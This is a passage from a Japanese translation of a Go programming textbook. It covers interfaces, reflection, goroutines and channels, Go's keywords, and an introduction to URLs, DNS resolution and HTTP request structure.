簡単にいえば、interfaceはmethodの組み合わせです。interfaceを通してオブジェクトの振る舞いを定義することができます。

前の章の最後の例でStudentとEmployeeはどちらもSayHiを持っていました。彼らの内部処理は異なりますが、それは重要ではありません。重要なのは彼らがどちらもsay hiと言えることです。

続けてさらに拡張していきましょう。StudentとEmployeeで他のメソッドSingを実現します。その後StudentはBorrowMoneyメソッドを追加してEmployeeはSpendSalaryを追加しましょう。

Studentには３つのメソッドがあることになります：SayHi、Sing、BorrowMoneyです。EmployeeはSayHi、Sing、SpendSalaryです。

上のような組み合わせをinterface（オブジェクトStudentとEmployeeに追加されます）と言います。例えばStudentとEmployeeでどちらもinterfaceであるSayHiとSingを実装します。この２つのオブジェクトはこのinterface型です。EmployeeはこのinterfaceであるSayHi、SingとBorrowMoneyは実装しません。EmployeeはBorrowMoneyメソッドを実装しないからです。

interface型

interface型ではメソッドのセットを定義します。もしあるオブジェクトがインターフェースとなるすべてのメソッドを実装するとしたら、このオブジェクトはこのインターフェースを実装することになります。細かい文法は下の例を参考にしてください。

type Human struct {
    name string
    age int
    phone string
}

type Student struct {
    Human //匿名フィールドHuman
    school string
    loan float32
}

type Employee struct {
    Human //匿名フィールドHuman
    company string
    money float32
}

//HumanオブジェクトにSayHiメソッドを実装します。
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

// HumanオブジェクトにSingメソッドを実装します。
func (h *Human) Sing(lyrics string) {
    fmt.Println("La la, la la la, la la la la la...", lyrics)
}

//HumanメソッドにGuzzleメソッドを実装します。
func (h *Human) Guzzle(beerStein string) {
    fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}

// EmployeeはHumanのSayHiメソッドをオーバーロードします。
func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //この行は複数に渡ってもかまいません。
}

//StudentはBorrowMoneyメソッドを実装します。
func (s *Student) BorrowMoney(amount float32) {
    s.loan += amount // (again and again and...)
}

//EmployeeはSpendSalaryメソッドを実装します。
func (e *Employee) SpendSalary(amount float32) {
    e.money -= amount // More vodka please!!! Get me through the day!
}

// interfaceを定義します。
type Men interface {
    SayHi()
    Sing(lyrics string)
    Guzzle(beerStein string)
}

type YoungChap interface {
    SayHi()
    Sing(song string)
    BorrowMoney(amount float32)
}

type ElderlyGent interface {
    SayHi()
    Sing(song string)
    SpendSalary(amount float32)
}

上のコードを通して、interfaceは任意のオブジェクトで実装できることがわかるかと思います。上のMen interfaceはHuman、Student及びEmployeeによって実装されます。例えばStudentはMenとYoungChapの２つのinterfaceを実装することになります。

最後に、任意の型は空のinterface（ここではinterface{}と定義しましょう）を実装しています。これには0個のメソッドが含まれるinterfaceです。

interfaceの値

では、interfaceの中には一体どのような値が存在しているのでしょうか。もし我々がinterfaceの変数を定義すると、この変数にはこのinterfaceの任意の型のオブジェクトを保存することができます。上の例でいえば、我々はMen interface型の変数mを定義しました。このmにはHuman、StudentまたはEmployeeの値を保存できます。

mは３つの型を持つことのできるオブジェクトなので、Men型の要素を含むsliceを定義することができます。このsliceはMenインターフェースの任意の構造のオブジェクトを代入することができます。このsliceともともとのsliceにはいくつか違いがあります。

次の例を見てみましょう。

package main
import "fmt"

type Human struct {
    name string
    age int
    phone string
}

type Student struct {
    Human //匿名フィールド
    school string
    loan float32
}

type Employee struct {
    Human //匿名フィールド
    company string
    money float32
}

//HumanにSayHiメソッドを実装します。
func (h Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

//HumanにSingメソッドを実装します。
func (h Human) Sing(lyrics string) {
    fmt.Println("La la la la...", lyrics)
}

//EmployeeはHumanのSayHiメソッドをオーバーロードします。
func (e Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone)
    }

// Interface MenはHuman,StudentおよびEmployeeに実装されます。
// この３つの型はこの２つのメソッドを実装するからです。
type Men interface {
    SayHi()
    Sing(lyrics string)
}

func main() {
    mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
    paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
    sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
    Tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000}

    //Men型の変数iを定義します。
    var i Men

    //iにはStudentを保存できます。
    i = mike
    fmt.Println("This is Mike, a Student:")
    i.SayHi()
    i.Sing("November rain")

    //iにはEmployeeを保存することもできます。
    i = Tom
    fmt.Println("This is Tom, an Employee:")
    i.SayHi()
    i.Sing("Born to be wild")

    //sliceのMenを定義します。
    fmt.Println("Let's use a slice of Men and see what happens")
    x := make([]Men, 3)
    //この３つはどれも異なる要素ですが、同じインターフェースを実装しています。
    x[0], x[1], x[2] = paul, sam, mike

    for _, value := range x{
        value.SayHi()
    }
}

上のコードで、interfaceはメソッドの集合を抽象化したものだとお分かりいただけるとおもいます。他のinterfaceでない型によって実装されなければならず、自分自身では実装することができません。Goはinterfaceを通してduck-typingを実現できます。すなわち、“鳥の走る様子も泳ぐ様子も鳴く声もカモのようであれば、この鳥をカモであると呼ぶことができる”わけです。

空のinterface

空のinterface(interface{})にはなんのメソッドも含まれていません。この通り、すべての型は空のinterfaceを実装しています。空のinterfaceはそれ自体はなんの意味もありません（何のメソッドも含まれていませんから）が、任意の型の数値を保存する際にはかなり役にたちます。これはあらゆる型の数値を保存することができるため、C言語のvoid*型に似ています。

// aを空のインターフェースとして定義
var a interface{}
var i int = 5
s := "Hello world"
// aは任意の型の数値を保存できます。
a = i
a = s

ある関数がinterface{}を引数にとると、任意の型の値を引数にとることができます。もし関数がinterface{}を返せば、任意の型の値を返すことができるのです。とても便利ですね！

interface関数の引数

interfaceの変数はこのinterface型のオブジェクトを持つことができます。これにより、関数（メソッドを含む）を書く場合思いもよらない思考を与えてくれます。interface引数を定義することで、関数にあらゆる型の引数を受けさせることができるです。

例をあげましょう：fmt.Printlnは私達がもっともよく使う関数です。ですが、任意の型のデータを受けることができる点に気づきましたか。fmtのソースファイルを開くとこのような定義が書かれています：

type Stringer interface {
     String() string
}

つまり、Stringメソッドを持つ全ての型がfmt.Printlnによってコールされることができるのです。ためしてみましょう。

package main
import (
    "fmt"
    "strconv"
)

type Human struct {
    name string
    age int
    phone string
}

// このメソッドを使ってHumanにfmt.Stringerを実装します。
func (h Human) String() string {
    return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years -  ✆ " +h.phone+"❱"
}

func main() {
    Bob := Human{"Bob", 39, "000-7777-XXX"}
    fmt.Println("This Human is : ", Bob)
}

前のBoxの例を思い出してみましょう。Color構造体もメソッドを一つ定義しています：String。実はこれもfmt.Stringerというinterfaceを実装しているのです。つまり、もしある型をfmtパッケージで特殊な形式で出力させようとした場合Stringerインターフェースを実装する必要があります。もしこのインターフェースを実装していなければ、fmtはデフォルトの方法で出力を行います。

//同じ機能を実装します。
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())

注：errorインターフェースのオブジェクト（Error() stringのオブジェクトを実装）を実装します。fmtを使って出力を行う場合、Error()メソッドがコールされます。そのため、String()メソッドを再定義する必要はありません。

interface変数を保存する型

interfaceの変数の中にはあらゆる型の数値を保存できることを学びました（この型はinterfaceを実装しています）。では、この変数に実際に保存されているのはどの型のオブジェクトであるかどのように逆に知ることができるのでしょうか？現在二種類の方法があります：

Comma-okアサーション

Go言語の文法では、ある変数がどの型か直接判断する方法があります： value, ok = element.(T), ここでvalueは変数の値を指しています。okはbool型です。elementはinterface変数です。Tはアサーションの型です。

もしelementにT型の数値が存在していれば、okにはtrueが返されます。さもなければfalseが返ります。

例を見ながら詳しく理解していきましょう。

package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List [] Element

type Person struct {
    name string
    age int
}

//Stringメソッドを定義します。fmt.Stringerを実装します。
func (p Person) String() string {
    return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1 // an int
    list[1] = "Hello" // a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list {
        if value, ok := element.(int); ok {
            fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
        } else if value, ok := element.(string); ok {
            fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
        } else if value, ok := element.(Person); ok {
            fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
        } else {
            fmt.Println("list[%d] is of a different type", index)
        }
    }
}

とても簡単ですね。前のフローの項目の際にご紹介したとおり、いくつもifの中で変数の初期化が許されているのにお気づきでしょうか。

また、アサーションの型が増えれば増えるほど、ifelseの数も増えるのにお気づきかもしれません。下ではswitchをご紹介します。

switchテスト

コードの例をお見せしたほうが早いでしょう。上の実装をもう一度書きなおしてみます。

package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List [] Element

type Person struct {
    name string
    age int
}

//プリント
func (p Person) String() string {
    return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1 //an int
    list[1] = "Hello" //a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list{
        switch value := element.(type) {
            case int:
                fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
            case string:
                fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
            case Person:
                fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
            default:
                fmt.Println("list[%d] is of a different type", index)
        }
    }
}

ここで強調したいのは、element.(type)という文法はswitchの外のロジックで使用できないということです。もしswitchの外で型を判断したい場合はcomma-okを使ってください。

組み込みinterface

Goが本当に魅力的なのはビルトインのロジック文法です。Structを学んだ際の匿名フィールドはあんなにもエレガントでした。では同じようなロジックをinterfaceに導入すればより完璧になります。もしinterface1がinterface2の組み込みフィールドであれば、interface2は暗黙的にinterface1のメソッドを含むことになります。

ソースパッケージのcontainer/heapの中にこのような定義があるのを確認できると思います。

type Interface interface {
    sort.Interface //組み込みフィールドsort.Interface
    Push(x interface{}) //a Push method to push elements into the heap
    Pop() interface{} //a Pop elements that pops elements from the heap
}

sort.Interfaceは実は組み込みフィールドです。sort.Interfaceのすべてのメソッドを暗黙的に含んでいます。つまり以下の３つのメソッドです。

type Interface interface {
    // Len is the number of elements in the collection.
    Len() int
    // Less returns whether the element with index i should sort
    // before the element with index j.
    Less(i, j int) bool
    // Swap swaps the elements with indexes i and j.
    Swap(i, j int)
}

もう一つの例はioパッケージの中にある io.ReadWriterです。この中にはioパッケージのReaderとWriterの２つのinterfaceを含んでいます：

// io.ReadWriter
type ReadWriter interface {
    Reader
    Writer
}

リフレクション

Goはリフレクションを実装しています。リフレクションはプログラムの実行時の状態を検査することができます。私達が一般的に使用しているパッケージはreflectパッケージです。どのようにreflectパッケージを使うかはオフィシャルのドキュメントに詳細な原理が説明されています。laws of reflection

reflectを使うには３つのステップに分けられます。下で簡単にご説明します：リフレクションは型の値（これらの値はすべて空のインターフェースを実装しています。）。まずこれをreflectオブジェクトに変換する必要があります（reflect.Typeまたはreflect.Valueです。異なる状況によって異なる関数をコールします。）この２つを取得する方法は：

t := reflect.TypeOf(i)    //元データを取得します。tを通して型定義の中のすべての要素を取得することができます。
v := reflect.ValueOf(i)   //実際の値を取得します。vを通して保存されている中の値を取得することができます。値を変更することもできます。

reflectオブジェクトに変換した後、何かしらの操作を行うことができます。つまり、reflectオブジェクトを対応する値に変換するのです。例えば

tag := t.Elem().Field(0).Tag  //structの中で定義されているタグを取得する。
name := v.Elem().Field(0).String()  //はじめのフィールドに保存されている値を取得する。

reflectの値を取得することで対応する型と数値を返すことができます。

var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())

最後にリフレクションを行ったフィールドは修正できる必要があります。前で学んだ値渡しと参照渡しも同じ道理です。リフレクションのフィールドが必ず読み書きできるということは、以下のように書いた場合、エラーが発生するということです。

var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)

もし対応する値を変更したい場合、このように書かなければなりません。

var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)

上はリフレクションに対する簡単なご説明ではありますが、より深い理解には実際のプログラミングで実践していく他ありません。

Generated by md2min

2.7 マルチスレッド

goroutine

channels

Buffered Channels

RangeとClose

Select

タイムアウト

runtime goroutine

Goを21世紀のC言語だという人もいます。Go言語は設計が簡単で、21世紀で最も重要なのはマルチスレッドだからです。Goは言語レベルでマルチスレッドをサポートしています。

goroutine

goroutineはGoのマルチスレッドのコアです。goroutineは実は最初から最後までスレッドです。しかしスレッドよりも小さく、十数個のgoroutineは低レイヤーで5,6個のスレッドを実現しているだけです。Go言語の内部ではこれらのgoroutineの間ではメモリの共有を実現しています。goroutineを実行するには非常に少ないスタックメモリ（大体4~5KBです。）を必要とするだけです。当然対応するデータによって伸縮しますが、まさにこのためいくつものマルチスレッドタスクを実行することができます。goroutineはthreadに比べより使いやすく、効果的で、便利です。

goroutineはGoのruntime管理を利用したスレッドコントローラです。goroutineはgoキーワードによって実現します。実は単なる普通の関数です。

go hello(a, b, c)

キーワードgoを通じてgoroutineを起動します。例を見てみましょう。

package main

import (
    "fmt"
    "runtime"
)

func say(s string) {
    for i := 0; i < 5; i++ {
        runtime.Gosched()
        fmt.Println(s)
    }
}

func main() {
    go say("world") //新しいGoroutinesを実行する。
    say("hello") //現在のGoroutines実行
}

// 上のプログラムを実行すると以下のように出力されます：
// hello
// world
// hello
// world
// hello
// world
// hello
// world
// hello

goキーワードで非常に簡単にマルチスレッドプログラミングを実現することがお分かりいただけるかと思います。 上の複数のgoroutineは同じプロセスで実行されています。メモリのデータを共有しますが、デザイン上共有を利用して通信を行ったりせず、通信によって共有を行うようにしましょう。

runtime.Gosched()ではCPUに時間を他の人に受け渡します。次にある段階で継続してこのgoroutineを実行します。

デフォルトでは、ディスパッチャはプロセスを使うのみで、マルチスレッドを実現するだけです。マルチコアプロセッサのマルチスレッドを実現したい場合は、我々のプログラムでruntime.GOMAXPROCS(n)をコールすることでディスパッチャに同時に複数のプロセスを使用させる必要があります。GOMAXPROCSは同時に実行するロジックコードのシステムプロセスの最大数を設定し、前の設定を返します。もしn < 1であった場合、現在の設定は変更されません。Goの新しいバージョンでディスパッチャが修正されれば、これは削除されるでしょう。Robによるマルチスレッドの開発についてはこちらに文章があります。http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide

channels

goroutineは同じアドレス空間で実行されます。そのため、共有されたメモリへのアクセスはかならず同期されていなければなりません。では、goroutineの間ではどのようにしてデータの通信を行うのでしょうか。Goはチャネルというとても良い通信機構を提供しています。チャネルはUnix shellとの双方向パイプを作成します。これを通して値を送信したり受信することができます。これらの値は特定の型のみが許容されます。チャネル型。channelを定義した場合チャネルに送信する値の型も定義しなければなりません。ご注意ください。かならずmakeを使ってchannelを作成します。

ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})

channelは<-演算子を使ってデータを送ったり受けたりします。

ch <- v    // vをchannel chに送る。
v := <-ch  // chの中からデータを受け取り、vに代入する。

これを私達の例の中に当てはめてみましょう：

package main

import "fmt"

func sum(a []int, c chan int) {
    total := 0
    for _, v := range a {
        total += v
    }
    c <- total  // send total to c
}

func main() {
    a := []int{7, 2, 8, -9, 4, 0}

    c := make(chan int)
    go sum(a[:len(a)/2], c)
    go sum(a[len(a)/2:], c)
    x, y := <-c, <-c  // receive from c

    fmt.Println(x, y, x + y)
}

デフォルトでは、channelがやり取りするデータはブロックされています。もう片方が準備できていなければ、Goroutinesの同期はもっと簡単になります。lockを表示する必要はありません。いわゆるブロックとは、もし（value := <-ch）を読み取った場合、これはブロックされます。データを受け取った段階で（ch<-5）を送信するいずれのものもデータが読み込まれるまでブロックされます。バッファリングの無いchannelは複数のgoroutineの間で同期を行う非常に優れたツールです。

Buffered Channels

上ではデフォルトでバッファリング型の無いchannelをご紹介しました。しかし、Goはchannelのバッファリングの大小も指定することを許しています。とても簡単です。つまりchannelはいくつもの要素を保存することができるのです。ch:= make(chan book, 4)は４つのbool型の要素を持てるchannelを作成します。このchannelの中で、前の4つの要素はブロックされずに入力することができます。５番目の要素が入力された場合、コードはブロックされ、その他のgoroutineがchannelから要素を取り出すまで空間を退避します。

ch := make(chan type, value)

value == 0 ! バッファリング無し（ブロック）
value > 0 ! バッファリング（ブロック無し、value個の要素まで）

下の例をご覧ください。ローカルでテストしてみることができます。対応するvalue値を変更してください

package main

import "fmt"

func main() {
    c := make(chan int, 2)//2を1に修正するとエラーが発生します。2を3に修正すると正常に実行されます。
    c <- 1
    c <- 2
    fmt.Println(<-c)
    fmt.Println(<-c)
}

RangeとClose

上の例では、２回cの値を読み込む必要がありました。これではあまり便利ではありません。Goはこの点を考慮し、rangeによってsliceやmapを操作するのと同じ感覚でバッファリング型のchannelを操作することができます。下の例をご覧ください。

package main

import (
    "fmt"
)

func fibonacci(n int, c chan int) {
    x, y := 1, 1
    for i := 0; i < n; i++ {
        c <- x
        x, y = y, x + y
    }
    close(c)
}

func main() {
    c := make(chan int, 10)
    go fibonacci(cap(c), c)
    for i := range c {
        fmt.Println(i)
    }
}

for i := range cでこのchannelがクローズを明示されるまで連続してchannelの中のデータを読み込むことができます。上のコードでchannelのクローズが明示されているのが確認できるかと思います。生産者はcloseビルトイン関数によってchannelを閉じます。channelを閉じた後はいかなるデータも送信することはできません。消費側はv, ok := <-chという式でchannelがすでに閉じられているかテストすることができます。もしokにfalseが返ってきたら、channelはすでにどのようなデータも無く、閉じられているということになります。

生産者の方でchannelが閉じられる事に注意してください。消費側ではありません。これは容易にpanicを引き起こします。

また、channelはファイルのようなものでないことにも注意してください。頻繁に閉じる必要はありません。何のデータも送ることが無い場合またはrangeループを終了させたい場合などで結構です。

Select

ここではひとつだけのchannelがある状況についてご紹介しました。では複数のchannelが存在した場合、どのように操作すべきでしょうか。Goではキーワードselectを提供しています。selectを通して、channel上のデータを監視することができます。

selectはデフォルトでブロックされます。channelの中でやりとりされるデータを監視する時のみ実行します。複数のchannelの準備が整った時に、selectはランダムにひとつ選択し、実行します。

package main

import "fmt"

func fibonacci(c, quit chan int) {
    x, y := 1, 1
    for {
        select {
        case c <- x:
            x, y = y, x + y
        case <-quit:
            fmt.Println("quit")
            return
        }
    }
}

func main() {
    c := make(chan int)
    quit := make(chan int)
    go func() {
        for i := 0; i < 10; i++ {
            fmt.Println(<-c)
        }
        quit <- 0
    }()
    fibonacci(c, quit)
}

selectの中にもdefault文があります。selectは実はswitchの機能によくにています。defaultは監視しているchannelがどれも準備が整っていない時に、デフォルトで実行されます。（selectはchannelを待ってブロックしません。）

select {
case i := <-c:
    // use i
default:
    // cがブロックされた時にここが実行されます。
}

タイムアウト

ときどきgoroutineがブロックされる状況にでくわします。ではプログラム全体がブロックされる状況をどのように回避するのでしょうか？selectを使ってタイムアウトを設定することができます。下のような方法で実現します：

func main() {
    c := make(chan int)
    o := make(chan bool)
    go func() {
        for {
            select {
                case v := <- c:
                    println(v)
                case <- time.After(5 * time.Second):
                    println("timeout")
                    o <- true
                    break
            }
        }
    }()
    <- o
}

runtime goroutine

runtimeパッケージにはgoroutineを処理するいくつかの関数が含まれます：

Goexit

事前に実行されたgoroutineから抜けます。ただし、defer関数は継続してコールされます。

Gosched

事前のgoroutineの実行権限をジェネレートします。ディスパッチャが他の待機中のタスクの実行を予定し、次のある時点でこの位置から実行を復元します。

NumCPU

CPUのコア数を返します。

NumGoroutine

現在実行している行と待ちタスクの総数を返します。

GOMAXPROCS

実行できるCPUコア数の最大値を設定し、前のコア数を返します。

Generated by md2min

2.8 まとめ

この章では主にGo言語のいくつかの文法をご紹介しました。文法を通してGoがいかに簡単かご覧いただけたかと思います。たった２５個のキーワードです。もう一度これらキーワードが何に使われるのか見てみることにしましょう。

break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var

varとconstは2.2のGo言語の基礎に出てくる変数と定数の宣言を参考にしてください。

packageとimportにはすでに少し触れました。

func は関数とメソッドの定義に用いられます。

return は関数から返るために用いられます。

defer はデストラクタのようなものです。

go はマルチスレッドに用いられます。

select は異なる型の通信を選択するために用いられます。

interface はインターフェースを定義するために用いられます。2.6章をご参考ください。

struct は抽象データ型の定義に用いられます。2.5章をご参考ください。

break、case、continue、for、fallthrough、else、if、switch、goto、defaultは2.3のフロー紹介をご参考ください。

chanはchannel通信に用いられます。

typeはカスタム定義型の宣言に用いられます。

mapはmap型のデータの宣言に用いられます。

rangeはslice、map、channelデータの読み込みに用いられます。

この２５個のキーワードを覚えれば、Goは既に殆ど学び終わったも同然です。

Generated by md2min

3 Webの基礎

目次

Webのプログラミングの基礎を勉強することはあなたにとってまさにこの本を読む理由でしょう。事実、どのようにGoを使ってWebアプリケーションをプログラムするかはこの本の目的でもあります。前回までで、Goは既に成熟したHTTP処理パッケージを持つことをご紹介しました。これによってどのような事情の動的なWebプログラミングも簡単に作成できます。これ以降の章でご紹介する内容はどれもWebプログラミングの範疇です。この章ではWebに関する概念とGo言語がいかにWebプログラムを実行するかに集中して討論します。

目次

Generated by md2min

3.1 Webでの作業方法

URLとDNS解決

HTTPプロトコル詳細

HTTPリクエストパケット（ブラウザ情報）

HTTPレスポンスパケット（サーバ情報）

HTTPプロトコルはステートレスでConnection: keep-aliveの区別

リクエスト実例

普段ホームページを閲覧する際、ブラウザを開くと思います。アドレスを入力してエンターキーを押すと、あなたが見たいコンテンツが表示されます。この見た目には簡単なユーザの行動には一体何が隠されているのでしょうか？

普通のネットワーク上の操作に対して、システムは実はこのように行なっています：ブラウザそのものはクライアントです。URLを入力する際まずブラウザはDNSサーバにアクセスします。DNSを通してドメインと対応するIPを取得し、IPアドレスからIPに対応したサーバを探しだした後、TCPコネクションの設立を要求します。ブラウザがHTTP Request（リクエスト）パケットを送信し終わると、サーバはリクエストパケットを受け取ってリクエストパケットを処理しはじめます。サーバは自分のサービスをコールし、HTTP Response（レスポンス）パケットを返します。クライアントがサーバからのレスポンスを受け取ると、このレスポンスパケットのbodyを読み出します。すべての内容を受け取ると、このサーバとのTCP接続を切断します。

図3.1 ユーザがWebサーバにアクセスする過程

WebサーバはHTTPサーバとも呼ばれます。HTTPプロトコルを通じてクライアントと通信を行います。このクライアントは普通はWebブラウザを指します（実はモバイルクライアントでも内部ではブラウザによって実現されています。）

Webサーバの動作原理は簡単に説明できます：

クライアントがTCP/IPプロトコルによってサーバまでTCP接続を設立します。

クライアントはサーバに対してHTTPプロトコルのリクエストパケットを送信し、サーバのリソースドキュメントを要求します。

サーバはクライアントに対してHTTPプロトコルの応答パケットを送信し、もし要求されたリソースに動的な言語によるコンテンツが含まれている場合、サーバが動的言語のインタープリターエンジンに“動的な内容”の処理をコールさせます。処理によって得られたデータをクライアントに返します。

クライアントとサーバが切断されます。クライアントはHTMLドキュメントを解釈し、クライアントの画面上に図形として結果を表示します。

簡単なHTTPタスクはこのように実現されます。見た目にはとても複雑ですが、原理はとても簡単です。気をつけなければならないのは、クライアントとサーバの間の通信は常に接続されているわけではありません。サーバが応答を送信した後クライアントと接続が切断され、次のリクエストを待ち受けます。

URLとDNS解決

ホームページの閲覧は常にURLの訪問で行われます。ではURLとは一体どういうものなのでしょうか？

URL(Uniform Resource Locator)は“統一資源位置指定子”の英語の短縮です。ネットワーク上のリソースを表現しています。基本的なシンタックスは以下のとおりです。

scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme         低レイヤーで使用されるプロトコルを指定します。（例えば：http, https, ftp）
host           HTTPサーバのIPアドレスまたはドメイン
port#          HTTPサーバのデフォルトのポート番号は80です。この場合ポート番号は省略することができます。もし別のポートを使用する場合は指定しなければなりません。例えば http://www.cnblogs.com:8080/
path           リソースまでのパス
query-string   httpサーバへ送るデータ
anchor         アンカー

DNS(Domain Name System)は“ドメインシステム”の英文の省略です。これは組織の木構造の計算機とネットワークサービスの命名システムです。これはTCP/IPネットワークで使用されます。ホスト名またはドメインを実際のIPアドレスに変換する作業を行う役目を担っています。DNSはこのような翻訳家です。この基本的な動作原理は下の図に示しているとおりです。

図3.2 DNSの動作原理

より詳細なDNS解決のプロセスは下のようなものです。このプロセスは我々がDNSの作業モードを理解するのに助けとなります。

ブラウザでwww.qq.comドメインを入力します。オペレーティングシステムはまず自分のローカルのhostsファイルにこのアドレスがないか検査します。もしあれば、このIPアドレスの設定が適用されます。ドメイン解決終了。

もしhostsにこのドメインの設定がなければ、ローカルのDNSリゾルバのバッファを探します。もしあれば、これを返します。ドメイン解決終了。

もしhostsとローカルのDNSリゾルバのバッファのどちらにも目的のドメインがなかった場合、まずTCP/IPのオプションで設定されているプライマリDNSサーバを探します。ここではこれをローカルDNSサーバと呼びましょう。このサーバが要求を受けた時、もし要求したドメイン名がローカルで設定されたリソースの中に含まれている場合、解決の結果をクライアントに返します。ドメイン解決終了。これは権威ある解決です。

もし要求したドメイン名がローカルDNSサーバのゾーンでは解決できなかったものの、このサーバがこのURLをバッファリングしていた場合このIPアドレスが適用されます。ドメイン名解決終了。これは権威ある解決ではありません。

もしローカルDNSサーバがそのゾーンファイルとバッファリングのどちらも有効でなかった場合、ローカルDNSサーバの設定に従って（リピータが設定されているか）検査を行います。もし転送モードが使用されていなければローカルDNSはリクエストを“ルートDNSサーバ”に送ります。“ルートDNSサーバ”はリクエストを受け取った後このドメイン名(.com)が誰によって権限を受け管理されているか判断し、このトップレベルドメインの権威サーバのIPを返します。ローカルDNSサーバがIP情報を受け取った後、.comドメインを担当するこのサーバと接続を行います。.comドメインを担当するサーバがリクエストを受け取った後、もし自分で名前解決できなければ、.comドメインを管理するもう一つ下のレイヤーのDNSサーバのアドレス(qq.com)をローカルDNSサーバに送ります。ローカルDNSサーバがこのアドレスを受け取った後、qq.comドメインのサーバを探し出し、www.qq.comのホストが見つかるまで上の動作を繰り返します。

もし転送モードを使用していれば、このDNSサーバはリクエストをひとつ上のレイヤーのDNSサーバに転送します。このサーバが名前解決を行い、名前が解決できなかった場合は、ルートDNSを探すか、もう一つ上のレイヤーのにリクエストを転送します。またはルートが提示されます。最後に結果をローカルDNSサーバに返し、このDNSサーバはクライアントに返します。

図3.3 DNS解決の全体のプロセス

いわゆる再帰検索プロセスは“検索者”の交代を意味します。また、反復する検索プロセスでは“検索者”は不変です。

例をあげて説明しましょう。あなたは一緒に法律の授業を受けている女の子の電話番号を知りたいとします。あなたはこっそり彼女の写真も撮っています。寝室にもどって、正義感の強いアニキたちにそのことを伝えます。このアニキたちは異議を唱えることもなく、胸を叩いてあなたにこう言います。「急ぐ必要はない。私があなたに替わって調べてあげましょう」(この時一時再帰検索が完了しています。すなわち、検索者の役割が変更されました。)。その後彼は写真を携え学部の４年生の先輩のところに聞きにいきます。「この女の子はxx学部なんですけど・・・」その後このアニキは矢継ぎ早にxx学部のオフィス主任の助手を務めているクラスメートに聞きます。このクラスメートはxx学部のyyゼミであると言います。またこの正義感の強いアニキたちはxx学部のyyゼミのゼミ長のところにいき、この女の子の電話番号をゲットします。（ここまでで何回かの連続検索が完了しました。すなわち、検索者の役は変わっていませんが、聞きに行く対象を反復して取り替えています。）最後に彼は番号をあなたの手に渡すことで全体の検索が完了します。

上のステップを通して、IPアドレスを最後に取得します。つまりブラウザが最後にリクエストを送る時はIPにもとづいて、サーバと情報のやりとりをするのです。

HTTPプロトコル詳細

HTTPプロトコルはWeb作業の確信です。そのためWebの作業方法をくまなく理解するためには、HTTPがいったいどのような作業を行なっているのか深く理解する必要があります。

HTTPはWebサーバにブラウザ(クライアント)とInternetを通してデータをやり取りさせるプロトコルです。これはTCPプロトコルの上で成立しますので、一般的にはTCPの80番ポートが採用されます。これはリクエストとレスポンスのプロトコルです–クライアントはリクエストを送信しサーバがこのリクエストに対してレスポンスを行います。HTTPでは、クライアントは常に接続を行いHTTPリクエストを送信することでタスクをこなします。サーバは主導的にクライアントと接続することはできません。また、クライアントに対してコールバック接続を送信することもできません。クライアントとサーバは事前に接続を中断することができます。例えば、ブラウザでファイルをダウンロードする際、“停止”ボタンをクリックすることでファイルのダウンロードを中断し、サーバとのHTTP接続を閉じることができます。

HTTPプロトコルはステートレスです。同じクライアントの前のリクエストと今回のリクエストの間にはなんの対応関係もありません。HTTPサーバからすれば、この２つのリクエストが同じクライアントから発せられたものかすらも知りません。この問題を解決するため、WebプログラムではCookie機構を導入することで、接続の持続可能状態を維持しています。

HTTPプロトコルはTCPプロトコルの上で確立しますので、TCPアタックはHTTPの通信に同じように影響を与えます。例えばよく見かける攻撃として：SYN Floodは現在最も流行したDoS（サービス不能攻撃）とDdoS（分散型サービス不能攻撃）などがあります。これはTCPプロトコルの欠陥を利用して大量に偽造されたTCP接続要求を送信するのです。これにより攻撃された側はリソースが枯渇（CPUの高負荷やメモリ不足）する攻撃です。

HTTPリクエストパケット（ブラウザ情報）

まずRequestパケットの構造を見てみることにしましょう。Requestパケットは3つの部分にわけられます。第一部分はRequest line（リクエスト行）。第二部分はRequest header（リクエストヘッダ）、第三部分はbody（ボディ）と呼ばれます。headerとbodyの間には空行があり、リクエストパケットの例は以下のようなものです。

GET /domains/example/ HTTP/1.1      //リクエスト業：リクエスト方法 リクエストRUI HTTPプロトコル/プロトコルバージョン
Host：www.iana.org               //サーバのホスト名
User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4          //ブラウザ情報
Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  //クライアントが受け取れるmime
